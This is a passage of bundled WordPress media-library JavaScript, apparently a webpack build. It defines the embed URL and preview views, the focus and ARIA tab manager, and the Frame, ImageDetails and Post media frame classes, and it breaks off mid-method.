5599 // Check if they haven't typed in 500 ms.
5600 if ( $('#embed-url-field').val() !== url ) {
5601 return;
5602 }
5603
5604 if ( this.dfd && 'pending' === this.dfd.state() ) {
5605 this.dfd.abort();
5606 }
5607
5608 // Support YouTube embed urls, since they work once in the editor.
5609 re = /https?:\/\/www\.youtube\.com\/embed\/([^/]+)/;
5610 youTubeEmbedMatch = re.exec( url );
5611 if ( youTubeEmbedMatch ) {
5612 url = 'https://www.youtube.com/watch?v=' + youTubeEmbedMatch[ 1 ];
5613 }
5614
5615 this.dfd = wp.apiRequest({
5616 url: wp.media.view.settings.oEmbedProxyUrl,
5617 data: {
5618 url: url,
5619 maxwidth: this.model.get( 'width' ),
5620 maxheight: this.model.get( 'height' )
5621 },
5622 type: 'GET',
5623 dataType: 'json',
5624 context: this
5625 })
5626 .done( function( response ) {
5627 this.renderoEmbed( {
5628 data: {
5629 body: response.html || ''
5630 }
5631 } );
5632 } )
5633 .fail( this.renderFail );
5634 },
5635
5636 renderFail: function ( response, status ) {
5637 if ( 'abort' === status ) {
5638 return;
5639 }
5640 this.$( '.link-text' ).show();
5641 },
5642
5643 renderoEmbed: function( response ) {
5644 var html = ( response && response.data && response.data.body ) || '';
5645
5646 if ( html ) {
5647 this.$('.embed-container').show().find('.embed-preview').html( html );
5648 } else {
5649 this.renderFail();
5650 }
5651 }
5652});
5653
5654module.exports = EmbedLink;
5655
5656
5657/***/ },
5658
5659/***/ 7327
5660(module) {
5661
5662var View = wp.media.View,
5663 $ = jQuery,
5664 l10n = wp.media.view.l10n,
5665 EmbedUrl;
5666
5667/**
5668 * wp.media.view.EmbedUrl
5669 *
5670 * @memberOf wp.media.view
5671 *
5672 * @class
5673 * @augments wp.media.View
5674 * @augments wp.Backbone.View
5675 * @augments Backbone.View
5676 */
5677EmbedUrl = View.extend(/** @lends wp.media.view.EmbedUrl.prototype */{
5678 tagName: 'span',
5679 className: 'embed-url',
5680
5681 events: {
5682 'input': 'url'
5683 },
5684
5685 initialize: function() {
5686 this.$input = $( '<input id="embed-url-field" type="url" />' )
5687 .attr( 'aria-label', l10n.insertFromUrlTitle )
5688 .val( this.model.get('url') );
5689 this.input = this.$input[0];
5690
5691 this.spinner = $('<span class="spinner" />')[0];
5692 this.$el.append([ this.input, this.spinner ]);
5693
5694 this.listenTo( this.model, 'change:url', this.render );
5695
5696 if ( this.model.get( 'url' ) ) {
5697 _.delay( _.bind( function () {
5698 this.model.trigger( 'change:url' );
5699 }, this ), 500 );
5700 }
5701 },
5702 /**
5703 * @return {wp.media.view.EmbedUrl} Returns itself to allow chaining.
5704 */
5705 render: function() {
5706 var $input = this.$input;
5707
5708 if ( $input.is(':focus') ) {
5709 return;
5710 }
5711
5712 if ( this.model.get( 'url' ) ) {
5713 this.input.value = this.model.get('url');
5714 } else {
5715 this.input.setAttribute( 'placeholder', 'https://' );
5716 }
5717
5718 /**
5719 * Call `render` directly on parent class with passed arguments
5720 */
5721 View.prototype.render.apply( this, arguments );
5722 return this;
5723 },
5724
5725 url: function( event ) {
5726 var url = event.target.value || '';
5727 this.model.set( 'url', url.trim() );
5728 }
5729});
5730
5731module.exports = EmbedUrl;
5732
5733
5734/***/ },
5735
5736/***/ 718
5737(module) {
5738
5739var $ = jQuery;
5740
5741/**
5742 * wp.media.view.FocusManager
5743 *
5744 * @memberOf wp.media.view
5745 *
5746 * @class
5747 * @augments wp.media.View
5748 * @augments wp.Backbone.View
5749 * @augments Backbone.View
5750 */
5751var FocusManager = wp.media.View.extend(/** @lends wp.media.view.FocusManager.prototype */{
5752
5753 events: {
5754 'keydown': 'focusManagementMode'
5755 },
5756
5757 /**
5758 * Initializes the Focus Manager.
5759 *
5760 * @param {Object} options The Focus Manager options.
5761 *
5762 * @since 5.3.0
5763 *
5764 * @return {void}
5765 */
5766 initialize: function( options ) {
5767 this.mode = options.mode || 'constrainTabbing';
5768 this.tabsAutomaticActivation = options.tabsAutomaticActivation || false;
5769 },
5770
5771 /**
5772 * Determines which focus management mode to use.
5773 *
5774 * @since 5.3.0
5775 *
5776 * @param {Object} event jQuery event object.
5777 *
5778 * @return {void}
5779 */
5780 focusManagementMode: function( event ) {
5781 if ( this.mode === 'constrainTabbing' ) {
5782 this.constrainTabbing( event );
5783 }
5784
5785 if ( this.mode === 'tabsNavigation' ) {
5786 this.tabsNavigation( event );
5787 }
5788 },
5789
5790 /**
5791 * Gets all the tabbable elements.
5792 *
5793 * @since 5.3.0
5794 *
5795 * @return {Object} A jQuery collection of tabbable elements.
5796 */
5797 getTabbables: function() {
5798 // Skip the file input added by Plupload.
5799 return this.$( ':tabbable' ).not( '.moxie-shim input[type="file"]' );
5800 },
5801
5802 /**
5803 * Moves focus to the modal dialog.
5804 *
5805 * @since 3.5.0
5806 *
5807 * @return {void}
5808 */
5809 focus: function() {
5810 this.$( '.media-modal' ).trigger( 'focus' );
5811 },
5812
5813 /**
5814 * Constrains navigation with the Tab key within the media view element.
5815 *
5816 * @since 4.0.0
5817 *
5818 * @param {Object} event A keydown jQuery event.
5819 *
5820 * @return {void}
5821 */
5822 constrainTabbing: function( event ) {
5823 var tabbables;
5824
5825 // Look for the tab key.
5826 if ( 9 !== event.keyCode ) {
5827 return;
5828 }
5829
5830 tabbables = this.getTabbables();
5831
5832 // Keep tab focus within media modal while it's open.
5833 if ( tabbables.last()[0] === event.target && ! event.shiftKey ) {
5834 tabbables.first().focus();
5835 return false;
5836 } else if ( tabbables.first()[0] === event.target && event.shiftKey ) {
5837 tabbables.last().focus();
5838 return false;
5839 }
5840 },
5841
5842 /**
5843 * Hides from assistive technologies all the body children.
5844 *
5845 * Sets an `aria-hidden="true"` attribute on all the body children except
5846 * the provided element and other elements that should not be hidden.
5847 *
5848 * The reason why we use `aria-hidden` is that `aria-modal="true"` is buggy
5849 * in Safari 11.1 and support is spotty in other browsers. Also, `aria-modal="true"`
5850 * prevents the `wp.a11y.speak()` ARIA live regions to work as they're outside
5851 * of the modal dialog and get hidden from assistive technologies.
5852 *
5853 * @since 5.2.3
5854 *
5855 * @param {Object} visibleElement The jQuery object representing the element that should not be hidden.
5856 *
5857 * @return {void}
5858 */
5859 setAriaHiddenOnBodyChildren: function( visibleElement ) {
5860 var bodyChildren,
5861 self = this;
5862
5863 if ( this.isBodyAriaHidden ) {
5864 return;
5865 }
5866
5867 // Get all the body children.
5868 bodyChildren = document.body.children;
5869
5870 // Loop through the body children and hide the ones that should be hidden.
5871 _.each( bodyChildren, function( element ) {
5872 // Don't hide the modal element.
5873 if ( element === visibleElement[0] ) {
5874 return;
5875 }
5876
5877 // Determine the body children to hide.
5878 if ( self.elementShouldBeHidden( element ) ) {
5879 element.setAttribute( 'aria-hidden', 'true' );
5880 // Store the hidden elements.
5881 self.ariaHiddenElements.push( element );
5882 }
5883 } );
5884
5885 this.isBodyAriaHidden = true;
5886 },
5887
5888 /**
5889 * Unhides from assistive technologies all the body children.
5890 *
5891 * Makes visible again to assistive technologies all the body children
5892 * previously hidden and stored in this.ariaHiddenElements.
5893 *
5894 * @since 5.2.3
5895 *
5896 * @return {void}
5897 */
5898 removeAriaHiddenFromBodyChildren: function() {
5899 _.each( this.ariaHiddenElements, function( element ) {
5900 element.removeAttribute( 'aria-hidden' );
5901 } );
5902
5903 this.ariaHiddenElements = [];
5904 this.isBodyAriaHidden = false;
5905 },
5906
5907 /**
5908 * Determines if the passed element should not be hidden from assistive technologies.
5909 *
5910 * @since 5.2.3
5911 *
5912 * @param {Object} element The DOM element that should be checked.
5913 *
5914 * @return {boolean} Whether the element should not be hidden from assistive technologies.
5915 */
5916 elementShouldBeHidden: function( element ) {
5917 var role = element.getAttribute( 'role' ),
5918 liveRegionsRoles = [ 'alert', 'status', 'log', 'marquee', 'timer' ];
5919
5920 /*
5921 * Don't hide scripts, elements that already have `aria-hidden`, and
5922 * ARIA live regions.
5923 */
5924 return ! (
5925 element.tagName === 'SCRIPT' ||
5926 element.hasAttribute( 'aria-hidden' ) ||
5927 element.hasAttribute( 'aria-live' ) ||
5928 liveRegionsRoles.indexOf( role ) !== -1
5929 );
5930 },
5931
5932 /**
5933 * Whether the body children are hidden from assistive technologies.
5934 *
5935 * @since 5.2.3
5936 */
5937 isBodyAriaHidden: false,
5938
5939 /**
5940 * Stores an array of DOM elements that should be hidden from assistive
5941 * technologies, for example when the media modal dialog opens.
5942 *
5943 * @since 5.2.3
5944 */
5945 ariaHiddenElements: [],
5946
5947 /**
5948 * Holds the jQuery collection of ARIA tabs.
5949 *
5950 * @since 5.3.0
5951 */
5952 tabs: $(),
5953
5954 /**
5955 * Sets up tabs in an ARIA tabbed interface.
5956 *
5957 * @since 5.3.0
5958 *
5959 * @param {Object} event jQuery event object.
5960 *
5961 * @return {void}
5962 */
5963 setupAriaTabs: function() {
5964 this.tabs = this.$( '[role="tab"]' );
5965
5966 // Set up initial attributes.
5967 this.tabs.attr( {
5968 'aria-selected': 'false',
5969 tabIndex: '-1'
5970 } );
5971
5972 // Set up attributes on the initially active tab.
5973 this.tabs.filter( '.active' )
5974 .removeAttr( 'tabindex' )
5975 .attr( 'aria-selected', 'true' );
5976 },
5977
5978 /**
5979 * Enables arrows navigation within the ARIA tabbed interface.
5980 *
5981 * @since 5.3.0
5982 *
5983 * @param {Object} event jQuery event object.
5984 *
5985 * @return {void}
5986 */
5987 tabsNavigation: function( event ) {
5988 var orientation = 'horizontal',
5989 keys = [ 32, 35, 36, 37, 38, 39, 40 ];
5990
5991 // Return if not Spacebar, End, Home, or Arrow keys.
5992 if ( keys.indexOf( event.which ) === -1 ) {
5993 return;
5994 }
5995
5996 // Determine navigation direction.
5997 if ( this.$el.attr( 'aria-orientation' ) === 'vertical' ) {
5998 orientation = 'vertical';
5999 }
6000
6001 // Make Up and Down arrow keys do nothing with horizontal tabs.
6002 if ( orientation === 'horizontal' && [ 38, 40 ].indexOf( event.which ) !== -1 ) {
6003 return;
6004 }
6005
6006 // Make Left and Right arrow keys do nothing with vertical tabs.
6007 if ( orientation === 'vertical' && [ 37, 39 ].indexOf( event.which ) !== -1 ) {
6008 return;
6009 }
6010
6011 this.switchTabs( event, this.tabs );
6012 },
6013
6014 /**
6015 * Switches tabs in the ARIA tabbed interface.
6016 *
6017 * @since 5.3.0
6018 *
6019 * @param {Object} event jQuery event object.
6020 *
6021 * @return {void}
6022 */
6023 switchTabs: function( event ) {
6024 var key = event.which,
6025 index = this.tabs.index( $( event.target ) ),
6026 newIndex;
6027
6028 switch ( key ) {
6029 // Space bar: Activate current targeted tab.
6030 case 32: {
6031 this.activateTab( this.tabs[ index ] );
6032 break;
6033 }
6034 // End key: Activate last tab.
6035 case 35: {
6036 event.preventDefault();
6037 this.activateTab( this.tabs[ this.tabs.length - 1 ] );
6038 break;
6039 }
6040 // Home key: Activate first tab.
6041 case 36: {
6042 event.preventDefault();
6043 this.activateTab( this.tabs[ 0 ] );
6044 break;
6045 }
6046 // Left and up keys: Activate previous tab.
6047 case 37:
6048 case 38: {
6049 event.preventDefault();
6050 newIndex = ( index - 1 ) < 0 ? this.tabs.length - 1 : index - 1;
6051 this.activateTab( this.tabs[ newIndex ] );
6052 break;
6053 }
6054 // Right and down keys: Activate next tab.
6055 case 39:
6056 case 40: {
6057 event.preventDefault();
6058 newIndex = ( index + 1 ) === this.tabs.length ? 0 : index + 1;
6059 this.activateTab( this.tabs[ newIndex ] );
6060 break;
6061 }
6062 }
6063 },
6064
6065 /**
6066 * Sets a single tab to be focusable and semantically selected.
6067 *
6068 * @since 5.3.0
6069 *
6070 * @param {Object} tab The tab DOM element.
6071 *
6072 * @return {void}
6073 */
6074 activateTab: function( tab ) {
6075 if ( ! tab ) {
6076 return;
6077 }
6078
6079 // The tab is a DOM element: no need for jQuery methods.
6080 tab.focus();
6081
6082 // Handle automatic activation.
6083 if ( this.tabsAutomaticActivation ) {
6084 tab.removeAttribute( 'tabindex' );
6085 tab.setAttribute( 'aria-selected', 'true' );
6086 tab.click();
6087
6088 return;
6089 }
6090
6091 // Handle manual activation.
6092 $( tab ).on( 'click', function() {
6093 tab.removeAttribute( 'tabindex' );
6094 tab.setAttribute( 'aria-selected', 'true' );
6095 } );
6096 }
6097});
6098
6099module.exports = FocusManager;
6100
6101
6102/***/ },
6103
6104/***/ 1061
6105(module) {
6106
6107/**
6108 * wp.media.view.Frame
6109 *
6110 * A frame is a composite view consisting of one or more regions and one or more
6111 * states.
6112 *
6113 * @memberOf wp.media.view
6114 *
6115 * @see wp.media.controller.State
6116 * @see wp.media.controller.Region
6117 *
6118 * @class
6119 * @augments wp.media.View
6120 * @augments wp.Backbone.View
6121 * @augments Backbone.View
6122 * @mixes wp.media.controller.StateMachine
6123 */
6124var Frame = wp.media.View.extend(/** @lends wp.media.view.Frame.prototype */{
6125 initialize: function() {
6126 _.defaults( this.options, {
6127 mode: [ 'select' ]
6128 });
6129 this._createRegions();
6130 this._createStates();
6131 this._createModes();
6132 },
6133
6134 _createRegions: function() {
6135 // Clone the regions array.
6136 this.regions = this.regions ? this.regions.slice() : [];
6137
6138 // Initialize regions.
6139 _.each( this.regions, function( region ) {
6140 this[ region ] = new wp.media.controller.Region({
6141 view: this,
6142 id: region,
6143 selector: '.media-frame-' + region
6144 });
6145 }, this );
6146 },
6147 /**
6148 * Create the frame's states.
6149 *
6150 * @see wp.media.controller.State
6151 * @see wp.media.controller.StateMachine
6152 *
6153 * @fires wp.media.controller.State#ready
6154 */
6155 _createStates: function() {
6156 // Create the default `states` collection.
6157 this.states = new Backbone.Collection( null, {
6158 model: wp.media.controller.State
6159 });
6160
6161 // Ensure states have a reference to the frame.
6162 this.states.on( 'add', function( model ) {
6163 model.frame = this;
6164 model.trigger('ready');
6165 }, this );
6166
6167 if ( this.options.states ) {
6168 this.states.add( this.options.states );
6169 }
6170 },
6171
6172 /**
6173 * A frame can be in a mode or multiple modes at one time.
6174 *
6175 * For example, the manage media frame can be in the `Bulk Select` or `Edit` mode.
6176 */
6177 _createModes: function() {
6178 // Store active "modes" that the frame is in. Unrelated to region modes.
6179 this.activeModes = new Backbone.Collection();
6180 this.activeModes.on( 'add remove reset', _.bind( this.triggerModeEvents, this ) );
6181
6182 _.each( this.options.mode, function( mode ) {
6183 this.activateMode( mode );
6184 }, this );
6185 },
6186 /**
6187 * Reset all states on the frame to their defaults.
6188 *
6189 * @return {wp.media.view.Frame} Returns itself to allow chaining.
6190 */
6191 reset: function() {
6192 this.states.invoke( 'trigger', 'reset' );
6193 return this;
6194 },
6195 /**
6196 * Map activeMode collection events to the frame.
6197 */
6198 triggerModeEvents: function( model, collection, options ) {
6199 var collectionEvent,
6200 modeEventMap = {
6201 add: 'activate',
6202 remove: 'deactivate'
6203 },
6204 eventToTrigger;
6205 // Probably a better way to do this.
6206 _.each( options, function( value, key ) {
6207 if ( value ) {
6208 collectionEvent = key;
6209 }
6210 } );
6211
6212 if ( ! _.has( modeEventMap, collectionEvent ) ) {
6213 return;
6214 }
6215
6216 eventToTrigger = model.get('id') + ':' + modeEventMap[collectionEvent];
6217 this.trigger( eventToTrigger );
6218 },
6219 /**
6220 * Activate a mode on the frame.
6221 *
6222 * @param string mode Mode ID.
6223 * @return {this} Returns itself to allow chaining.
6224 */
6225 activateMode: function( mode ) {
6226 // Bail if the mode is already active.
6227 if ( this.isModeActive( mode ) ) {
6228 return;
6229 }
6230 this.activeModes.add( [ { id: mode } ] );
6231 // Add a CSS class to the frame so elements can be styled for the mode.
6232 this.$el.addClass( 'mode-' + mode );
6233
6234 return this;
6235 },
6236 /**
6237 * Deactivate a mode on the frame.
6238 *
6239 * @param string mode Mode ID.
6240 * @return {this} Returns itself to allow chaining.
6241 */
6242 deactivateMode: function( mode ) {
6243 // Bail if the mode isn't active.
6244 if ( ! this.isModeActive( mode ) ) {
6245 return this;
6246 }
6247 this.activeModes.remove( this.activeModes.where( { id: mode } ) );
6248 this.$el.removeClass( 'mode-' + mode );
6249 /**
6250 * Frame mode deactivation event.
6251 *
6252 * @event wp.media.view.Frame#{mode}:deactivate
6253 */
6254 this.trigger( mode + ':deactivate' );
6255
6256 return this;
6257 },
6258 /**
6259 * Check if a mode is enabled on the frame.
6260 *
6261 * @param string mode Mode ID.
6262 * @return bool
6263 */
6264 isModeActive: function( mode ) {
6265 return Boolean( this.activeModes.where( { id: mode } ).length );
6266 }
6267});
6268
6269// Make the `Frame` a `StateMachine`.
6270_.extend( Frame.prototype, wp.media.controller.StateMachine.prototype );
6271
6272module.exports = Frame;
6273
6274
6275/***/ },
6276
6277/***/ 5424
6278(module) {
6279
6280var Select = wp.media.view.MediaFrame.Select,
6281 l10n = wp.media.view.l10n,
6282 ImageDetails;
6283
6284/**
6285 * wp.media.view.MediaFrame.ImageDetails
6286 *
6287 * A media frame for manipulating an image that's already been inserted
6288 * into a post.
6289 *
6290 * @memberOf wp.media.view.MediaFrame
6291 *
6292 * @class
6293 * @augments wp.media.view.MediaFrame.Select
6294 * @augments wp.media.view.MediaFrame
6295 * @augments wp.media.view.Frame
6296 * @augments wp.media.View
6297 * @augments wp.Backbone.View
6298 * @augments Backbone.View
6299 * @mixes wp.media.controller.StateMachine
6300 */
6301ImageDetails = Select.extend(/** @lends wp.media.view.MediaFrame.ImageDetails.prototype */{
6302 defaults: {
6303 id: 'image',
6304 url: '',
6305 menu: 'image-details',
6306 content: 'image-details',
6307 toolbar: 'image-details',
6308 type: 'link',
6309 title: l10n.imageDetailsTitle,
6310 priority: 120
6311 },
6312
6313 initialize: function( options ) {
6314 this.image = new wp.media.model.PostImage( options.metadata );
6315 this.options.selection = new wp.media.model.Selection( this.image.attachment, { multiple: false } );
6316 Select.prototype.initialize.apply( this, arguments );
6317 },
6318
6319 bindHandlers: function() {
6320 Select.prototype.bindHandlers.apply( this, arguments );
6321 this.on( 'menu:create:image-details', this.createMenu, this );
6322 this.on( 'content:create:image-details', this.imageDetailsContent, this );
6323 this.on( 'content:render:edit-image', this.editImageContent, this );
6324 this.on( 'toolbar:render:image-details', this.renderImageDetailsToolbar, this );
6325 // Override the select toolbar.
6326 this.on( 'toolbar:render:replace', this.renderReplaceImageToolbar, this );
6327 },
6328
6329 createStates: function() {
6330 this.states.add([
6331 new wp.media.controller.ImageDetails({
6332 image: this.image,
6333 editable: false
6334 }),
6335 new wp.media.controller.ReplaceImage({
6336 id: 'replace-image',
6337 library: wp.media.query( { type: 'image' } ),
6338 image: this.image,
6339 multiple: false,
6340 title: l10n.imageReplaceTitle,
6341 toolbar: 'replace',
6342 priority: 80,
6343 displaySettings: true
6344 }),
6345 new wp.media.controller.EditImage( {
6346 image: this.image,
6347 selection: this.options.selection
6348 } )
6349 ]);
6350 },
6351
6352 imageDetailsContent: function( options ) {
6353 options.view = new wp.media.view.ImageDetails({
6354 controller: this,
6355 model: this.state().image,
6356 attachment: this.state().image.attachment
6357 });
6358 },
6359
6360 editImageContent: function() {
6361 var state = this.state(),
6362 model = state.get('image'),
6363 view;
6364
6365 if ( ! model ) {
6366 return;
6367 }
6368
6369 view = new wp.media.view.EditImage( { model: model, controller: this } ).render();
6370
6371 this.content.set( view );
6372
6373 // After bringing in the frame, load the actual editor via an Ajax call.
6374 view.loadEditor();
6375
6376 },
6377
6378 renderImageDetailsToolbar: function() {
6379 this.toolbar.set( new wp.media.view.Toolbar({
6380 controller: this,
6381 items: {
6382 select: {
6383 style: 'primary',
6384 text: l10n.update,
6385 priority: 80,
6386
6387 click: function() {
6388 var controller = this.controller,
6389 state = controller.state();
6390
6391 controller.close();
6392
6393 // Not sure if we want to use wp.media.string.image which will create a shortcode or
6394 // perhaps wp.html.string to at least to build the <img />.
6395 state.trigger( 'update', controller.image.toJSON() );
6396
6397 // Restore and reset the default state.
6398 controller.setState( controller.options.state );
6399 controller.reset();
6400 }
6401 }
6402 }
6403 }) );
6404 },
6405
6406 renderReplaceImageToolbar: function() {
6407 var frame = this,
6408 lastState = frame.lastState(),
6409 previous = lastState && lastState.id;
6410
6411 this.toolbar.set( new wp.media.view.Toolbar({
6412 controller: this,
6413 items: {
6414 back: {
6415 text: l10n.back,
6416 priority: 80,
6417 click: function() {
6418 if ( previous ) {
6419 frame.setState( previous );
6420 } else {
6421 frame.close();
6422 }
6423 }
6424 },
6425
6426 replace: {
6427 style: 'primary',
6428 text: l10n.replace,
6429 priority: 20,
6430 requires: { selection: true },
6431
6432 click: function() {
6433 var controller = this.controller,
6434 state = controller.state(),
6435 selection = state.get( 'selection' ),
6436 attachment = selection.single();
6437
6438 controller.close();
6439
6440 controller.image.changeAttachment( attachment, state.display( attachment ) );
6441
6442 // Not sure if we want to use wp.media.string.image which will create a shortcode or
6443 // perhaps wp.html.string to at least to build the <img />.
6444 state.trigger( 'replace', controller.image.toJSON() );
6445
6446 // Restore and reset the default state.
6447 controller.setState( controller.options.state );
6448 controller.reset();
6449 }
6450 }
6451 }
6452 }) );
6453 }
6454
6455});
6456
6457module.exports = ImageDetails;
6458
6459
6460/***/ },
6461
6462/***/ 4274
6463(module) {
6464
6465var Select = wp.media.view.MediaFrame.Select,
6466 Library = wp.media.controller.Library,
6467 l10n = wp.media.view.l10n,
6468 Post;
6469
6470/**
6471 * wp.media.view.MediaFrame.Post
6472 *
6473 * The frame for manipulating media on the Edit Post page.
6474 *
6475 * @memberOf wp.media.view.MediaFrame
6476 *
6477 * @class
6478 * @augments wp.media.view.MediaFrame.Select
6479 * @augments wp.media.view.MediaFrame
6480 * @augments wp.media.view.Frame
6481 * @augments wp.media.View
6482 * @augments wp.Backbone.View
6483 * @augments Backbone.View
6484 * @mixes wp.media.controller.StateMachine
6485 */
6486Post = Select.extend(/** @lends wp.media.view.MediaFrame.Post.prototype */{
6487 initialize: function() {
6488 this.counts = {
6489 audio: {
6490 count: wp.media.view.settings.attachmentCounts.audio,
6491 state: 'playlist'
6492 },
6493 video: {
6494 count: wp.media.view.settings.attachmentCounts.video,
6495 state: 'video-playlist'
6496 }
6497 };
6498
6499 _.defaults( this.options, {
6500 multiple: true,
6501 editing: false,
6502 state: 'insert',
6503 metadata: {}
6504 });
6505
6506 // Call 'initialize' directly on the parent class.
6507 Select.prototype.initialize.apply( this, arguments );
6508 this.createIframeStates();
6509
6510 },
6511
6512 /**
6513 * Create the default states.
6514 */
6515 createStates: function() {
6516 var options = this.options;
6517
6518 this.states.add([
6519 // Main states.
6520 new Library({
6521 id: 'insert',
6522 title: l10n.insertMediaTitle,
6523 priority: 20,
6524 toolbar: 'main-insert',
6525 filterable: 'all',
6526 library: wp.media.query( options.library ),
6527 multiple: options.multiple ? 'reset' : false,
6528 editable: true,
6529
6530 // If the user isn't allowed to edit fields,
6531 // can they still edit it locally?
6532 allowLocalEdits: true,
6533
6534 // Show the attachment display settings.
6535 displaySettings: true,
6536 // Update user settings when users adjust the
6537 // attachment display settings.
6538 displayUserSettings: true
6539 }),
6540
6541 new Library({
6542 id: 'gallery',
6543 title: l10n.createGalleryTitle,
6544 priority: 40,
6545 toolbar: 'main-gallery',
6546 filterable: 'uploaded',
6547 multiple: 'add',
6548 editable: false,
6549
6550 library: wp.media.query( _.defaults({
6551 type: 'image'
6552 }, options.library ) )
6553 }),
6554
6555 // Embed states.
6556 new wp.media.controller.Embed( { metadata: options.metadata } ),
6557
6558 new wp.media.controller.EditImage( { model: options.editImage } ),
6559
6560 // Gallery states.
6561 new wp.media.controller.GalleryEdit({
6562 library: options.selection,
6563 editing: options.editing,
6564 menu: 'gallery'
6565 }),
6566
6567 new wp.media.controller.GalleryAdd(),
6568
6569 new Library({
6570 id: 'playlist',
6571 title: l10n.createPlaylistTitle,
6572 priority: 60,
6573 toolbar: 'main-playlist',
6574 filterable: 'uploaded',
6575 multiple: 'add',
6576 editable: false,
6577
6578 library: wp.media.query( _.defaults({
6579 type: 'audio'
6580 }, options.library ) )
6581 }),
6582
6583 // Playlist states.
6584 new wp.media.controller.CollectionEdit({
6585 type: 'audio',
6586 collectionType: 'playlist',
6587 title: l10n.editPlaylistTitle,
6588 SettingsView: wp.media.view.Settings.Playlist,
6589 library: options.selection,
6590 editing: options.editing,
6591 menu: 'playlist',
6592 dragInfoText: l10n.playlistDragInfo,
6593 dragInfo: false
6594 }),
6595
6596 new wp.media.controller.CollectionAdd({
6597 type: 'audio',
6598 collectionType: 'playlist',
6599 title: l10n.addToPlaylistTitle
6600 }),
6601
6602 new Library({
6603 id: 'video-playlist',
6604 title: l10n.createVideoPlaylistTitle,
6605 priority: 60,
6606 toolbar: 'main-video-playlist',
6607 filterable: 'uploaded',
6608 multiple: 'add',
6609 editable: false,
6610
6611 library: wp.media.query( _.defaults({
6612 type: 'video'
6613 }, options.library ) )
6614 }),
6615
6616 new wp.media.controller.CollectionEdit({
6617 type: 'video',
6618 collectionType: 'playlist',
6619 title: l10n.editVideoPlaylistTitle,
6620 SettingsView: wp.media.view.Settings.Playlist,
6621 library: options.selection,
6622 editing: options.editing,
6623 menu: 'video-playlist',
6624 dragInfoText: l10n.videoPlaylistDragInfo,
6625 dragInfo: false
6626 }),
6627
6628 new wp.media.controller.CollectionAdd({
6629 type: 'video',
6630 collectionType: 'playlist',
6631 title: l10n.addToVideoPlaylistTitle
6632 })
6633 ]);
6634
6635 if ( wp.media.view.settings.post.featuredImageId ) {
6636 this.states.add( new wp.media.controller.FeaturedImage() );
6637 }
6638 },
6639
6640 bindHandlers: function() {
6641 var handlers, checkCounts;
6642
6643 Select.prototype.bindHandlers.apply( this, arguments );
6644
6645 this.on( 'activate', this.activate, this );
6646
6647 // Only bother checking media type counts if one of the counts is zero.
6648 checkCounts = _.find( this.counts, function( type ) {
6649 return type.count === 0;
6650 } );
6651
6652 if ( typeof checkCounts !== 'undefined' ) {
6653 this.listenTo( wp.media.model.Attachments.all, 'change:type', this.mediaTypeCounts );
6654 }
6655
6656 this.on( 'menu:create:gallery', this.createMenu, this );
6657 this.on( 'menu:create:playlist', this.createMenu, this );
6658 this.on( 'menu:create:video-playlist', this.createMenu, this );
6659 this.on( 'toolbar:create:main-insert', this.createToolbar, this );
6660 this.on( 'toolbar:create:main-gallery', this.createToolbar, this );
6661 this.on( 'toolbar:create:main-playlist', this.createToolbar, this );
6662 this.on( 'toolbar:create:main-video-playlist', this.createToolbar, this );
6663 this.on( 'toolbar:create:featured-image', this.featuredImageToolbar, this );
6664 this.on( 'toolbar:create:main-embed', this.mainEmbedToolbar, this );
6665
6666 handlers = {
6667 menu: {
6668 'default': 'mainMenu',
6669 'gallery': 'galleryMenu',
6670 'playlist': 'playlistMenu',
6671 'video-playlist': 'videoPlaylistMenu'
6672 },
6673
6674 content: {
6675 'embed': 'embedContent',
6676 'edit-image': 'editImageContent',
6677 'edit-selection': 'editSelectionContent'
6678 },
6679
6680 toolbar: {
6681 'main-insert': 'mainInsertToolbar',
6682 'main-gallery': 'mainGalleryToolbar',
6683 'gallery-edit': 'galleryEditToolbar',
6684 'gallery-add': 'galleryAddToolbar',
6685 'main-playlist': 'mainPlaylistToolbar',
6686 'playlist-edit': 'playlistEditToolbar',
6687 'playlist-add': 'playlistAddToolbar',
6688 'main-video-playlist': 'mainVideoPlaylistToolbar',
6689 'video-playlist-edit': 'videoPlaylistEditToolbar',
6690 'video-playlist-add': 'videoPlaylistAddToolbar'
6691 }
6692 };
6693
6694 _.each( handlers, function( regionHandlers, region ) {
6695 _.each( regionHandlers, function( callback, handler ) {
6696 this.on( region + ':render:' + handler, this[ callback ], this );
6697 }, this );
6698 }, this );
6699 },
6700
6701 activate: function() {
6702 // Hide menu items for states tied to particular media types if there are no items.
6703 _.each( this.counts, function( type ) {
6704 if ( type.count < 1 ) {
6705 this.menuItemVisibility( type.state, 'hide' );
6706 }
6707 }, this );
6708 },
6709
6710 mediaTypeCounts: function( model, attr ) {
6711 if ( typeof this.counts[ attr ] !== 'undefined' && this.counts[ attr ].count < 1 ) {
6712 this.counts[ attr ].count++;
6713 this.menuItemVisibility( this.counts[ attr ].state, 'show' );
6714 }
6715 },
6716
6717 // Menus.
6718 /**
6719 * @param {wp.Backbone.View} view
6720 */
6721 mainMenu: function( view ) {
6722 view.set({
6723 'library-separator': new wp.media.View({
6724 className: 'separator',
6725 priority: 100,
6726 attributes: {
6727 role: 'presentation'
6728 }
6729 })
6730 });
6731 },
6732
6733 menuItemVisibility: function( state, visibility ) {
6734 var menu = this.menu.get();
6735 if ( visibility === 'hide' ) {
6736 menu.hide( state );
6737 } else if ( visibility === 'show' ) {
6738 menu.show( state );
6739 }
6740 },
6741 /**
6742 * @param {wp.Backbone.View} view
6743 */
6744 galleryMenu: function( view ) {
6745 var lastState = this.lastState(),
6746 previous = lastState && lastState.id,
6747 frame = this;
6748
6749 view.set({
6750 cancel: {
6751 text: l10n.cancelGalleryTitle,
6752 priority: 20,
6753 click: function() {
6754 if ( previous ) {
6755 frame.setState( previous );
6756 } else {
6757 frame.close();
6758 }
6759
6760 // Move focus to the modal after canceling a Gallery.
6761 this.controller.modal.focusManager.focus();
6762 }
6763 },
6764 separateCancel: new wp.media.View({
6765 className: 'separator',
6766 priority: 40
6767 })
6768 });
6769 },
6770
6771 playlistMenu: function( view ) {
6772 var lastState = this.lastState(),
6773 previous = lastState && lastState.id,
6774 frame = this;
6775
6776 view.set({
6777 cancel: {
6778 text: l10n.cancelPlaylistTitle,
6779 priority: 20,
6780 click: function() {
6781 if ( previous ) {
6782 frame.setState( previous );
6783 } else {
6784 frame.close();
6785 }
6786
6787 // Move focus to the modal after canceling an Audio Playlist.
6788 this.controller.modal.focusManager.focus();
6789 }
6790 },
6791 separateCancel: new wp.media.View({
6792 className: 'separator',
6793 priority: 40
6794 })
6795 });
6796 },
6797
6798 videoPlaylistMenu: function( view ) {
6799 var lastState = this.lastState(),
6800 previous = lastState && lastState.id,
6801 frame = this;
6802
6803 view.set({
